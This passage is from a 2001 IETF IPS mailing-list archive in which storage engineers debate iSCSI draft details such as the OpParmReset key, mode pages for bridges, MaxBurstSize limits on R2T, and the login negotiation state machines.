(example) > > "Once set to no, it can not be set back to yes" - as this is what using > > OpParmReset permits. > > > > Matthew > > > > -----Original Message----- > > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > > Sent: Friday, September 21, 2001 4:34 PM > > To: ips@ece.cmu.edu > > Subject: Re: iscsi : OpParmreset > > > > Santosh, > > > > The main purpose of this key was to explicitly cancel the effects of a > > running negotiation and restart anew. > > As the draft stands now there is no much difference between the two - but > > on basic principles the purposes are different (as you well stated). We > > may change the value to be: > > > > OpParmReset= > > > > to accommodate both semantics. > > > > Julo > > > > Santosh Rao > > > > > > > hp.com> cc: > > > > Sent by: Subject: iscsi : OpParmreset > > > > owner-ips@ece. > > > > cmu.edu > > > > 20-09-01 22:19 > > > > Please respond > > > > to Santosh Rao > > > > All, > > > > Please refer the definition of OpParmReset login key. > > > > " 30 OpParmReset > > > > OpParmReset enables an Initiator or Target to request the operational > > parameters to be reset to the values they had before the negotiation." > > > > I suggest that the definition be re-worded to state that the OpParmReset > > enables an initiator or target to reset the operational parameters to > > their DEFAULT VALUES. [instead of the current definition that states > > that the parameters are reset to the values they had prior to the > > current negotiation.] > > > > The current definition requires the initiator to maintain 2 sets of > > operational parameter values, the current and the previous. In the case > > where initiator is just booting up, if the target sets OpParmReset to > > "yes", the initiator does not know what to set the op params to, since > > it has lost its prior state information. > > > > Comments ? > > > > Thanks, > > Santosh > > > > - santoshr.vcf From owner-ips@ece.cmu.edu Thu Sep 27 15:22:06 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11336 for ; Thu, 27 Sep 2001 15:22:06 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RHsn319282 for ips-outgoing; Thu, 27 Sep 2001 13:54:49 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ztxmail04.ztx.compaq.com (ztxmail04.ztx.compaq.com [161.114.1.208]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RHsmP19276 for ; Thu, 27 Sep 2001 13:54:48 -0400 (EDT) Received: by ztxmail04.ztx.compaq.com (Postfix, from userid 12345) id 6711F1241; Thu, 27 Sep 2001 12:54:42 -0500 (CDT) Received: from cceexg11.americas.cpqcorp.net (cceexg11.americas.cpqcorp.net [16.110.250.125]) by ztxmail04.ztx.compaq.com (Postfix) with ESMTP id 5E43437E for ; Thu, 27 Sep 2001 12:54:42 -0500 (CDT) Received: from cceexc17.americas.cpqcorp.net ([16.110.250.84]) by cceexg11.americas.cpqcorp.net with Microsoft SMTPSVC(5.0.2195.2966); Thu, 27 Sep 2001 12:54:42 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message Subject: RE: iscsi : default iscsi mode page settings - Consensus call Date: Thu, 27 Sep 2001 12:54:42 -0500 Message-ID: <78AF3C342AEAEF4BA33B35A8A15668C6019E2048@cceexc17.americas.cpqcorp.net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Thread-Topic: iscsi : default iscsi mode page settings - Consensus call Thread-Index: AcFHciXDqrrZjbNkEdWVcgCAX3c7pQACjeSQ From: "Elliott, Robert" To: X-OriginalArrivalTime: 27 Sep 2001 17:54:42.0332 (UTC) FILETIME=[7C3385C0:01C1477D] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8RHsmP19279 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit My concern is for bridges. If an iSCSI initiator is talking to a FC target through an iSCSI to FC bridge, the target will include these mode pages. Does the bridge need to intercept the MODE SENSE/SELECT commands and hide the presence of these pages? Does the bridge have to generate its own MODE SELECT commands on the FC side to match the iSCSI key settings? Similarly, if a FC initiator is talking to an iSCSI target through an FC to iSCSI bridge, and the iSCSI target does not have these pages, does the bridge have to create fake pages? Without them, it doesn't look FCP-2 compliant. I think it's better if iSCSI looks like the other SCSI protocols and controls these features with the existing mode pages. --- Rob Elliott, Compaq Server Storage Robert.Elliott@compaq.com > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Thursday, September 27, 2001 11:36 AM > To: Julian Satran > Cc: ips@ece.cmu.edu > Subject: Re: iscsi : default iscsi mode page settings - Consensus call > > > Julian, > > As we've discussed earlier, SCSI level software looking at transport > specific mode pages MUST be aware of the format of those mode > pages for > the given transport. (For example : The format of the > disconnect-reconnect mode page is different for SPI-4, FCP-2, SRP & > iSCSI). > > Thus, any SCSI level software needs to first be upgraded when new SCSI > transports come along, before it can understand the mode page > formats of > that transport. > > By declaring the iscsi mode page fields as reserved, you would not be > breaking any legacy software. There is no legacy issue here. > > Regards, > Santosh > > > Julian Satran wrote: > > > > Santosh, > > > > You ignore the fact that there might be SCSI level software > that may want > > those values. > > > > Julo > > > > > > Santosh Rao > > "'Black_David@emc.com'" , > > hp.com> ips@ece.cmu.edu > > Sent by: cc: > > owner-ips@ece. Subject: Re: > iscsi : default iscsi mode page > > cmu.edu settings - Consensus call > > > > > > 27-09-01 04:02 > > Please respond > > to Santosh Rao > > > > > > > > David, > > > > By specifying that these values be read-only in mode pages, we have > > retained some of the complexity that lies in having to go > across layers > > to communicate the defaults to the scsi layer, or > alternatively to have > > the target's iscsi layer snoop for such mode sense commands > and respond > > to them. > > > > I would prefer to see iscsi declare these fields as reserved in the > > iscsi definition of the mode pages [like is done in SPI-4 for > > FirstBurstSize] so that this issue does not arise at all. > > > > Thanks, > > Santosh > > > > > > If some aspect of the > > > > SCSI protocol requires that they be readable via a mode page, > > > > the mode page values will be read-only. > > > > #### santoshr.vcf has been removed from this note on > September 27 2001 by > > Julian Satran > > -- > ################################## > Santosh Rao > Software Design Engineer, > HP-UX iSCSI Driver Team, > Hewlett Packard, Cupertino. > email : santoshr@cup.hp.com > Phone : 408-447-3751 > ################################## > From owner-ips@ece.cmu.edu Thu Sep 27 16:13:55 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA12372 for ; Thu, 27 Sep 2001 16:13:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RI1cm19816 for ips-outgoing; Thu, 27 Sep 2001 14:01:38 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RI1aP19812 for ; Thu, 27 Sep 2001 14:01:36 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id UAA307178 for ; Thu, 27 Sep 2001 20:01:29 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8RI1T4169318 for ; Thu, 27 Sep 2001 20:01:29 +0200 Subject: Re: iscsi : OpParmreset To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 27 Sep 2001 21:01:48 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 27/09/2001 21:01:28 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Mallikarjun, What you are suggesting is: abort for the initiator reject for the target. It is feasible but not nice. Let me think if we can have a better alternative. 07-98 still has OpParmReset. Julo "Mallikarjun C." To: ips Subject: Re: iscsi : OpParmreset Sent by: owner-ips@ece. cmu.edu 27-09-01 19:10 Please respond to cbm Julian, > >From your answer it looks like you agree that we need a way to reset/abort > a negotiation Sure, I agree we need a mechanism. >but you object to the OpParmReset. Not specifically. I was only concerned that there seem to be several ways of aborting/terminating a negotiation. I can count three mechanisms for initiator - a) Abort Task b) Empty text command with TTT=0xffffffff c) OpParmReset And two for the target - a) Timing out the bookmark state, and Reject ("no bookmark for this ITT" - 0x09) the TTT. b) OpParmReset I suggest that we retain only the option-(a)'s for both, and drop the rest. For this to happen, the case (b) for initiator should probably be a Reject("Illegal bookmark") - since as you say, it does seem ambiguous. Regards. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com Julian Satran wrote: > > Mallikarjun, > > >From your answer it looks like you agree that we need a way to reset/abort > a negotiation but you object to the OpParmReset. > Abort task has the disadvantage that the target can't issue it (so that > the target has no means to force an abort). > An empty task request or response is ambiguous. > We could introduce a binary field meaning goon/abort? Is that better that > OpParmReset (by which we can always introduce a richer semantics - like > rest to default). > > Julo > > > "Mallikarjun > C." To: ips > om> Subject: Re: iscsi : OpParmreset > Sent by: > owner-ips@ece. > cmu.edu > > > 27-09-01 03:26 > Please respond > to cbm > > > > Julian, > > I assume you mean terminate/end a negotiation by "rest a > negotiaion". If so, I can see two more ways to do the same - > - aborting the task (changes from rev06 to rev07), > - sending an empty text command with TTT=0xffffffff. > > Either should undo the results of the partial negotiation > in FFP, as we described in "Negotiation failures" section. > During the login, as Matthew pointed out, we don't seem to > need OpParmReset either. > > Can you please confirm if you see the same choices? If so, > I do not see the need for OpParmReset. > > Regards. > -- > Mallikarjun > > Mallikarjun Chadalapaka > Networked Storage Architecture > Network Storage Solutions Organization > MS 5668 Hewlett-Packard, Roseville. > cbm@rose.hp.com > > Julian Satran wrote: > > > > OpParmReset is the only way we have now to rest a negotiation in FFP > > (public or vendor specific). > > The restriction about R2T is related to a deadlock that can result when > you > > change from no to yes. > > > > Julo > > > > > > "BURBRIDGE,MATTH > > EW To: Julian > Satran/Haifa/IBM@IBMIL, > > (HP-UnitedKingdo ips@ece.cmu.edu > > m,ex2)" cc: > > OpParmreset > > ge@hp.com> > > Sent by: > > owner-ips@ece.cm > > u.edu > > > > > > 24-09-01 13:36 > > Please respond > > to > > "BURBRIDGE,MATTH > > EW > > (HP-UnitedKingdo > > m,ex2)" > > > > > > > > Is OpParmReset still needed now that there is no operational parameter > > negotiation until after the security phase? Why would both sides > > negoitiate > > a set of parameters only for one side to reset. Surely if one side > during > > login is not happy then it should close the connection. In FFP, as there > > is > > no way to re-negotiate (after the OpParmReset) again if one side is not > > happy then should it not close the connection and start a new one. > > > > Also if in FFP, if OpParmReset is sent then does it just reset those > > parameters that can be negoiated during FFP and not those restricted to > the > > login phase? If so would it be easier to negotiate those parameters > using > > the explicit name (e.g. InitialR2T) and remove the restriction of > (example) > > "Once set to no, it can not be set back to yes" - as this is what using > > OpParmReset permits. > > > > Matthew > > > > -----Original Message----- > > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > > Sent: Friday, September 21, 2001 4:34 PM > > To: ips@ece.cmu.edu > > Subject: Re: iscsi : OpParmreset > > > > Santosh, > > > > The main purpose of this key was to explicitly cancel the effects of a > > running negotiation and restart anew. > > As the draft stands now there is no much difference between the two - but > > on basic principles the purposes are different (as you well stated). We > > may change the value to be: > > > > OpParmReset= > > > > to accommodate both semantics. > > > > Julo > > > > Santosh Rao > > > > > > > hp.com> cc: > > > > Sent by: Subject: iscsi : OpParmreset > > > > owner-ips@ece. > > > > cmu.edu > > > > 20-09-01 22:19 > > > > Please respond > > > > to Santosh Rao > > > > All, > > > > Please refer the definition of OpParmReset login key. > > > > " 30 OpParmReset > > > > OpParmReset enables an Initiator or Target to request the operational > > parameters to be reset to the values they had before the negotiation." > > > > I suggest that the definition be re-worded to state that the OpParmReset > > enables an initiator or target to reset the operational parameters to > > their DEFAULT VALUES. [instead of the current definition that states > > that the parameters are reset to the values they had prior to the > > current negotiation.] > > > > The current definition requires the initiator to maintain 2 sets of > > operational parameter values, the current and the previous. In the case > > where initiator is just booting up, if the target sets OpParmReset to > > "yes", the initiator does not know what to set the op params to, since > > it has lost its prior state information. > > > > Comments ? > > > > Thanks, > > Santosh > > > > - santoshr.vcf From owner-ips@ece.cmu.edu Thu Sep 27 16:48:46 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13271 for ; Thu, 27 Sep 2001 16:48:26 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RItrL23540 for ips-outgoing; Thu, 27 Sep 2001 14:55:53 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RItZP23518 for ; Thu, 27 Sep 2001 14:55:51 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel10.hp.com (Postfix) with ESMTP id 2E82F1F9B0; Thu, 27 Sep 2001 11:55:30 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id LAA22461; Thu, 27 Sep 2001 11:55:25 -0700 (PDT) Message-ID: <3BB377B0.49F0809@cup.hp.com> Date: Thu, 27 Sep 2001 12:02:08 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: "Elliott, Robert" Cc: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings - Consensus call References: <78AF3C342AEAEF4BA33B35A8A15668C6019E2048@cceexc17.americas.cpqcorp.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Rob, Some comments inline. Regards, Santosh "Elliott, Robert" wrote: > If an iSCSI initiator is talking to a FC target through an > iSCSI to FC bridge, the target will include these mode pages. The back-end target may or may not support the mode pages and in most cases, these will not have the same format across different transport protocols. For example : a) SCSI-FCP targets would not support these mode pages, and a large FC installed base still uses FCP [and not FCP-2]. b) These mode pages differ for FCP-2, SPI-x & iSCSI. > Does the bridge need to intercept the MODE SENSE/SELECT > commands and hide the presence of these pages? Yes, for a few reasons : 1) A bridging device is not limited to the capabilities of its back-end targets for the support of un-solicited data and thus, need not forward negotiation of these parameters to its back end targets. Doing so, may fail the negotiation as well for reasons stated further above. 2) The format of these mode pages differs from iSCSI to FCP-2 to SPI-x. Hence, a bridge would not be able to forward these mode pages in a transparent manner in any case. 3) Bridges may be performing virtualization and the targets exported by an iscsi bridge to an initiator may not have a 1-1 correspondence with the back end FC/pSCSI targets. > Does the > bridge have to generate its own MODE SELECT commands > on the FC side to match the iSCSI key settings? I guess this is implementation dependent and is based on the mapping of the bridge's iscsi targets to its back-end targets, the type of back-end targets in use, etc. > > Similarly, if a FC initiator is talking to an iSCSI target > through an FC to iSCSI bridge, and the iSCSI target does not > have these pages, does the bridge have to create fake pages? > Without them, it doesn't look FCP-2 compliant. The bridge will have to fake a number of FC/FCP functionality on behalf of the back-end iscsi target like PRLI response, PLOGI response, responses to ELS, etc. This is just one more to that list. Besides, the mode pages are not identical b/n FCP-2 & iSCSI and hence, the bridge would need to do some faking anyway, even if iscsi did use the same mode pages. For example : a) In the disconnect-reconnect mode page, the bridge would need to fake values for "Buffer Full Ratio", "Buffer Empty Ratio", "Bus Inactivity Limit", etc on behalf of a back-end iscsi target. > > I think it's better if iSCSI looks like the other SCSI > protocols and controls these features with the existing > mode pages. > --- > Rob Elliott, Compaq Server Storage > Robert.Elliott@compaq.com > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Thursday, September 27, 2001 11:36 AM > > To: Julian Satran > > Cc: ips@ece.cmu.edu > > Subject: Re: iscsi : default iscsi mode page settings - Consensus call > > > > > > Julian, > > > > As we've discussed earlier, SCSI level software looking at transport > > specific mode pages MUST be aware of the format of those mode > > pages for > > the given transport. (For example : The format of the > > disconnect-reconnect mode page is different for SPI-4, FCP-2, SRP & > > iSCSI). > > > > Thus, any SCSI level software needs to first be upgraded when new SCSI > > transports come along, before it can understand the mode page > > formats of > > that transport. > > > > By declaring the iscsi mode page fields as reserved, you would not be > > breaking any legacy software. There is no legacy issue here. > > > > Regards, > > Santosh > > > > > > Julian Satran wrote: > > > > > > Santosh, > > > > > > You ignore the fact that there might be SCSI level software > > that may want > > > those values. > > > > > > Julo > > > > > > > > > Santosh Rao > > > > "'Black_David@emc.com'" , > > > hp.com> ips@ece.cmu.edu > > > Sent by: cc: > > > owner-ips@ece. Subject: Re: > > iscsi : default iscsi mode page > > > cmu.edu settings - Consensus call > > > > > > > > > 27-09-01 04:02 > > > Please respond > > > to Santosh Rao > > > > > > > > > > > > David, > > > > > > By specifying that these values be read-only in mode pages, we have > > > retained some of the complexity that lies in having to go > > across layers > > > to communicate the defaults to the scsi layer, or > > alternatively to have > > > the target's iscsi layer snoop for such mode sense commands > > and respond > > > to them. > > > > > > I would prefer to see iscsi declare these fields as reserved in the > > > iscsi definition of the mode pages [like is done in SPI-4 for > > > FirstBurstSize] so that this issue does not arise at all. > > > > > > Thanks, > > > Santosh > > > > > > > > If some aspect of the > > > > > SCSI protocol requires that they be readable via a mode page, > > > > > the mode page values will be read-only. > > > > > > #### santoshr.vcf has been removed from this note on > > September 27 2001 by > > > Julian Satran > > > > -- > > ################################## > > Santosh Rao > > Software Design Engineer, > > HP-UX iSCSI Driver Team, > > Hewlett Packard, Cupertino. > > email : santoshr@cup.hp.com > > Phone : 408-447-3751 > > ################################## > > -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Thu Sep 27 19:51:18 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA15658 for ; Thu, 27 Sep 2001 19:51:17 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RMmQ808792 for ips-outgoing; Thu, 27 Sep 2001 18:48:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RMmKP08785 for ; Thu, 27 Sep 2001 18:48:25 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel13.hp.com (Postfix) with ESMTP id 4FCDE1F5FC for ; Thu, 27 Sep 2001 15:48:14 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id PAA10418; Thu, 27 Sep 2001 15:48:09 -0700 (PDT) Message-ID: <3BB3AE3D.6A6F78B6@cup.hp.com> Date: Thu, 27 Sep 2001 15:54:53 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Subject: iscsi : MaximumBurstSize & data-out sequences. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian & All, Can initiators assume that it is the target's responsibility to ensure that an R2T request it issues will not exceed MaximumBurstSize ? If initiators cannot assume the above, they will need to send data-out pdu's in response to an R2T in multiple sequences, if the R2T "Desired Data Length" > MaximumBurstSize. If this were to happen, it could confuse the target into thinking the initiator has sent all the requested data in response to the R2T, when in fact, the initiator has only sent the first of several sequences of data-out in response to the R2T. I suggest that the draft explicitly mention [in the definition of MaxBurstSize as well as R2T] that R2T requests MUST NOT exceed MaximumBurstSize. Related Definitions (from rev 7.98) : ------------------------------------- " For outgoing data, the F bit is 1 for the last PDU of unsolicited data or the last PDU of a sequence answering an R2T." " 4.1.1 MaxBurstSize Field (16 bit) This field is used by iSCSI to define the maximum SCSI data payload in an iSCSI sequence (a sequence of Data-In or Data-Out PDUs ending with a Data-In or Data-Out PDU with the F bit set to one) in units of 512 bytes. This value can be set by a text-mode key=value pair (MaxBurstSize). " Thanks, Santosh -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Thu Sep 27 19:53:04 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA15673 for ; Thu, 27 Sep 2001 19:53:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RNHpL10589 for ips-outgoing; Thu, 27 Sep 2001 19:17:51 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RNHnP10585 for ; Thu, 27 Sep 2001 19:17:50 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1952912; Thu, 27 Sep 2001 16:17:51 -0700 Message-ID: <3BB3B492.1943ED65@redswitch.com> Date: Thu, 27 Sep 2001 16:21:54 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comments 14 Through 19 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Gentle People: First of all I would like to commend the author of the state machines. I believe that addition of the state machines to the document substantially enhances the overall conciseness. Several comments regarding 07-95 section 7 starting on page 118: 14) In Sections 7.1, 7.2, 7.3 I would suggest enhancing the description of each state and each state transition. After reading this section carefully I have concluded that additional text would be of great benefit. Please provide a few sentences or a paragraph describing each state and each state transition. 15) The state transition descriptions would be improved by linking the logical conditions to those of a TCP Service Interface such as Sockets. I am looking for a more formal and concise definition of each of the referenced logical conditions. 16) In several places I see the term "[OR}" what dose this mean exactly a simple "or"? 17) In section 7.3 transition N6 a session state time-out is referenced. where is this timer and time-out defined? 18) In section 7.2: "These additional state transitions may be traversed either by using a connection in the LOGGED_IN state with an explicit logout (let us call it CSM-E), or on a new transport connection in the FREE state with an implicit logout (let us call it CSM-I). This recovery state diagram hence is applicable only to the instance of the connection in recovery, i.e. CSM-R." From what I can tell you are trying to recover a failed connection using the communication services of another existing or newly established connection. Please add a few sentences or a paragraph describing this concept fully. 19) In section 7.1 and the following sections: "T7: A login redirection/initiator error/target error was received, or login timed out. (Initiator only)" In this statement the "/" is used repeatedly: Dose "/" really mean "or"? So the statement could read: "T7: A login redirection, initiator error, or target error was received, or the login timed out. (Initiator only)" If you mean "or" why not use 'or"? 20) Referring to T7 above, where is the Login timer specified? Thomas Dineen From owner-ips@ece.cmu.edu Thu Sep 27 21:19:34 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA16923 for ; Thu, 27 Sep 2001 21:19:34 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8S0NY614106 for ips-outgoing; Thu, 27 Sep 2001 20:23:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8S0NWP14100 for ; Thu, 27 Sep 2001 20:23:33 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel2.hp.com (Postfix) with ESMTP id D8F3A4FB for ; Thu, 27 Sep 2001 17:23:31 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id RAA18640 for ; Thu, 27 Sep 2001 17:23:27 -0700 (PDT) Message-ID: <3BB3C493.83E1A339@cup.hp.com> Date: Thu, 27 Sep 2001 17:30:11 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Subject: iscsi : target originated login negotiations. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit All, I have a question on how the target originated negotiation works. The draft describes this as : "The target may offer key=value pairs of its own. Target requests are not limited to matching key=value pairs as offered by the initiator. However, the initiator always controls the request-response initiation and termination." Here's my question, taking a specific scenario as an example : Assume ImmediateData defaults to "yes" [as is currently the case]. Consider an initiator that wishes to use immediate data attempting to login with a target that does not support immediate data. I -> T : (does not explicitly send ImmediateData key, since the default is its desired value). T -> I : ImmediateData="no" (No ImmediateData key is received. Hence, target needs to originate this key to indicate that it does not support). Is this considered the end of the negotiation, or does the initiator (who is the responding party in this case) need to respond to the offered key with a response indicating : I -> T : ImmediateData="no" Also : a) how does the above work in the case of list negotiation ? b) What is meant by "the initiator always controls the request-response initiation and termination." (?). Could this be stated more clearly ? Thanks, Santosh -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Fri Sep 28 00:41:19 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA21145 for ; Fri, 28 Sep 2001 00:41:19 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8S3oDw24576 for ips-outgoing; Thu, 27 Sep 2001 23:50:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8S3oBP24571 for ; Thu, 27 Sep 2001 23:50:11 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id FAA50384 for ; Fri, 28 Sep 2001 05:50:02 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8S3nvr06730 for ; Fri, 28 Sep 2001 05:50:02 +0200 Importance: High Subject: iSCSI - do we need anything in the mode pages? To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Fri, 28 Sep 2001 06:50:16 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 28/09/2001 06:50:02 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Dear colleagues: We have now only two scraps of information in the iSCSI mode page: EMDP CRN I suggest we take EMDP out (for simplicity) and reintroduce DataSequenceInOrder Unfortunately we can't do anything about CRN - but since it is not strictly an iSCSI issue we can just as for it to be placed honorably in commonly used per-LU page by T10. Please comment. Julo From owner-ips@ece.cmu.edu Fri Sep 28 00:43:41 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA21176 for ; Fri, 28 Sep 2001 00:43:40 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8S4O7K26373 for ips-outgoing; Fri, 28 Sep 2001 00:24:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8S4O3P26364 for ; Fri, 28 Sep 2001 00:24:04 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id GAA17338 for ; Fri, 28 Sep 2001 06:23:52 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8S4NqV136278 for ; Fri, 28 Sep 2001 06:23:52 +0200 Subject: Re: iscsi : MaximumBurstSize & data-out sequences. To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Fri, 28 Sep 2001 07:24:11 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 